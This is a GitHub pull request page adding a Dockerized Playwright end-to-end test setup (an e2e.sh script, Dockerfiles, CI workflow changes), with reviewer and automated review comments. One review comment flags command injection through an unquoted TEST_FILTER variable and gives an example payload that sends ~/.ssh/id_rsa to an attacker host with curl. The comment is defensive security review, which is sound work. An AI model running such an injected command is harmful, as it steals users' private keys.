-
Notifications
You must be signed in to change notification settings - Fork 9
Setup e2e for easy local runs, fix some related bugs in code and tests #1671
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: develop
Are you sure you want to change the base?
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When the validate button is pressed, the config should be valid. the yellow line on the left of Condition Occurrence (behind the pop up) is not supposed to be there. This is present because the validation was not completed due to .fill() not triggering some validation checks.
| @@ -0,0 +1,95 @@ | |||
| import { test as base, Page, BrowserContext } from '@playwright/test' | |||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Storing the console logs in each retry folder in the test results
| "license": "Apache-2.0", | ||
| "scripts": { | ||
| "build-all": "bunx nx run-many --targets=build --projects=@portal/components,@portal/plugin && bunx nx run-many --targets=build,build-mri --exclude @portal/components,@portal/plugin && bun build-ui5 && bun build-starboard && bun build-gateway", | ||
| "build-docker": "docker build -f Dockerfile.build -t d2e-ui-builder . && docker run --rm -v \"$(pwd):/app\" d2e-ui-builder", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Used in e2e.sh for building ui resources. can potentially be used as standard build method for reproducibility.
| ENV_TYPE=remote CADDY__CONFIG=./deploy/caddy-config node ./scripts/dist/cli.js -e -v ${{ env.VERSION }} -d ./functions start | ||
| - name: Wait for services to be ready to avoid mounting race condition | ||
| - name: Wait for d2e-ui plugin to be installed |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Prevents race condition where network might be very slow, and only pull the package after the UI copy happens
| run: | | ||
| cd ./tests/e2e | ||
| npm test | ||
| docker run --rm \ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Run playwright in docker container so same environment in local and github actions
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pull request overview
This PR introduces a new, more robust local E2E testing setup (including Dockerized Playwright runs and a session/snapshot workflow), improves how the UI is built and mounted into trex, hardens certain backend flows with retry logic, and tweaks Playwright tests and configuration for better stability and diagnostics.
Changes:
- Add
scripts/e2e.shas a full E2E “wizard” (session lifecycle management, snapshot/restore of volumes, UI build/mount, and Dockerized Playwright test execution), along with an e2e-specific Dockerfile, package.json, and Playwright configuration. - Adjust UI build and mounting flow: introduce
ui/Dockerfile.build, abuild-dockerscript, and update CI (d2e-demosetup-dev.yml) to wait for thed2e-uiplugin and then copy built resources into it; also refine Atlas iframe token bootstrapping and jobs API network retry handling. - Update the core CLI and environment initialization to be less tied to a fixed
PROJECT_NAME, wire insetupdemoto re-load env before running, and add broad Playwright test improvements (shared fixtures, HAR/log capture, normalized timeouts, and some test flakiness fixes).
Reviewed changes
Copilot reviewed 68 out of 74 changed files in this pull request and generated 3 comments.
Show a summary per file
| File | Description |
|---|---|
| ui/package.json | Adds a build-docker script to build the UI in a dedicated Docker environment. |
| ui/Dockerfile.build | Defines a reproducible bun-based environment to build UI assets and pyodidepyqe artifacts. |
| ui/apps/portal/src/plugins/mri/PatientAnalytics/Atlas.tsx | Preloads token/user/dataset into sessionStorage, delays iframe rendering until ready, and periodically posts setup messages to the Atlas iframe. |
| ui/apps/jobs/src/utils/api.ts | Wraps Prefect UI axios client with a response interceptor that retries transient ERR_NETWORK/ERR_NETWORK_CHANGED network errors with backoff. |
| services/trex/core/server/plugin/flow.ts | Introduces fetchWithRetry and switches flow/deployment registration to use it, making Prefect calls more resilient to transient failures. |
| scripts/cli.ts | Ensures setupdemo loads .env and derived env variables before running, and relies on env/config for PROJECT_NAME instead of hardcoding it in npm scripts. |
| package.json | Simplifies init, inithana, and local scripts to use ENV_TYPE=local only, relying on the CLI/env file for PROJECT_NAME. |
| scripts/e2e.sh | New E2E orchestration script (wizard UI, project/session naming, Docker volume snapshots/restore, UI build/mount into trex, and Dockerized Playwright test runner). |
| tests/e2e/Dockerfile | Container image for running Playwright tests (installs Node, deps, and Chromium with system deps). |
| tests/e2e/package.json / package-lock.json | Isolates E2E test dependencies (Playwright, reporter, dotenv) and locks versions for reproducible CI. |
| tests/e2e/.gitignore | Ensures test output directories are ignored but template env files are kept. |
| tests/e2e/playwright.config.ts | Centralizes timeouts via new constants, adds dotenv loading, configures baseURL from env, and wires in CTRF JSON reporter and single-worker CI behavior. |
| tests/e2e/tests/fixtures.ts | Provides a shared Playwright test/expect fixture that records HARs locally, collects console/request-failure logs, and attaches them to test artifacts. |
| tests/e2e/tests/const.ts | Introduces reusable time constants (seconds/minutes) for consistent Playwright timeouts. |
| tests/e2e/tests/** (many spec files) | Switch numerous specs to use the shared fixtures, normalize or remove per-call timeouts, adjust screenshot expectations, and make small flakiness and readability improvements (e.g., better waits, idempotent cleanup loops). |
| .github/workflows/d2e-demosetup-dev.yml | Refactors UI build + mount in CI: uses bun for UI build, ensures trex has mounted ui/resources, waits until d2e-ui plugin resources are present before copying, and runs Playwright tests in the new d2e-e2e Docker image. |
| .gitignore | Allows committing tests/e2e/package-lock.json for deterministic E2E dependency resolution. |
Files not reviewed (1)
- tests/e2e/package-lock.json: Language not supported
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| export const SECOND_20 = 20000 | ||
| export const SECOND_30 = 30000 | ||
| export const MINUTE_1 = 60000 | ||
| export const MINUTE_2 = 120000 | ||
| export const MINUTE_3 = 360000 |
Copilot
AI
Jan 26, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
MINUTE_3 is defined as 360000, which is 6 minutes rather than 3 minutes as the name suggests, and is also inconsistent with MINUTE_5 = 300000. Because this constant is used in the global Playwright timeout, this effectively doubles the intended per-test timeout; either rename the constant or change the value to the correct 3-minute duration (180000 ms).
| local test_cmd="npm test --" | ||
| if [ -n "$TEST_FILTER" ]; then | ||
| test_cmd="$test_cmd $TEST_FILTER" | ||
| log_info "Running e2e tests matching: $TEST_FILTER" | ||
| else | ||
| log_info "Running all e2e tests..." | ||
| fi | ||
| if [ "$UPDATE_SCREENSHOTS" = true ]; then | ||
| test_cmd="$test_cmd --update-snapshots" | ||
| log_info "Updating screenshots (baselines will be overwritten)" | ||
| fi | ||
|
|
||
| # Use temp directories for Docker output to avoid permission issues | ||
| # Docker writes as root, then we copy to final dirs with host user ownership | ||
| local temp_results="test-results-temp" | ||
| local temp_ctrf="ctrf-temp" | ||
| mkdir -p "$temp_results" "$temp_ctrf" | ||
|
|
||
| set +e | ||
| docker run --rm -it \ | ||
| --network=host \ | ||
| --ipc=host \ | ||
| -v "$(pwd)/tests:/work/tests" \ | ||
| -v "$(pwd)/$temp_results:/work/test-results" \ | ||
| -v "$(pwd)/$temp_ctrf:/work/ctrf" \ | ||
| -v "$(pwd)/playwright.config.ts:/work/playwright.config.ts" \ | ||
| -e D2E_BASE_URL=https://localhost:41100 \ | ||
| -e CI=true \ | ||
| d2e-e2e $test_cmd |
Copilot
AI
Jan 26, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
User-controlled TEST_FILTER is interpolated into the test_cmd string and then expanded unquoted in the docker run ... d2e-e2e $test_cmd invocation, which allows command injection via shell metacharacters in the filter value. An attacker (or CI job) that can influence TEST_FILTER (e.g., via the -f/--filter flag or interactive prompt) could craft a value like "; curl https://attacker/?$(cat ~/.ssh/id_rsa);" to execute arbitrary commands on the host when e2e tests are run. To fix this, avoid building a shell command string; instead pass npm, test, --, and the filter as separate, properly quoted arguments to docker run so that the filter cannot break out of the argument context.
maggie-li-yd
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Look forward to being able to run e2e tests locally!
Merge Checklist
Please cross check this list if additions / modifications needs to be done on top of your core changes and tick them off. Reviewer can as well glance through and help the developer if something is missed out.
developbranch)